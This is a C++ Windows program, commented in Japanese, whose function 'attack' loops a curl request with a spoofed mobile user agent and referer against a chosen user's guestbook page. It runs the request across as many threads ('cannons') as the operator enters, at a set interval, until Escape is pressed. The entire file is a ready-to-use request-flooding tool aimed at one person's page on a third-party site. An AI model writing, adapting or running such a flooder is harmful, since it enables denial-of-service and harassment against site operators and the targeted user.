#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <sstream>
#include <string>
#include <thread>
#include <vector>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
using namespace std;

bool endFlag = false;

void attack(string userID, int interval)
{
	ostringstream stream;
	string command;
	stream << "curl -A \"Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) " <<
		"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36\" " <<
		"-e http://c...content-available-to-author-only...y.am/ -Ss http://c...content-available-to-author-only...y.am/" + userID + "/guestbook > nul";
	command = stream.str();

	while (1)
	{
		if (GetAsyncKeyState(VK_ESCAPE)) endFlag = true;
		if (endFlag) return;

		system(command.c_str());
		this_thread::sleep_for(chrono::milliseconds(interval));
	}

	return;
}

int main(void)
{
	string userID;
	int threadCount = 0, interval = 0;
	vector<thread> threads;
	cout << "IDを入力 : ";
	cin >> userID;
	cout << "砲門数を入力 : ";
	scanf("%d", &threadCount);
	threads.resize(threadCount);
	cout << "待ち時間を入力(ミリ秒単位) : ";
	scanf("%d", &interval);

	for (int i = 0; i < threadCount; i++)
	{
		threads[i] = thread(attack, userID, interval);
	}

	for (int i = 0; i < threadCount; i++)
	{
		threads[i].join();
	}

	system("pause");
	return 0;
}
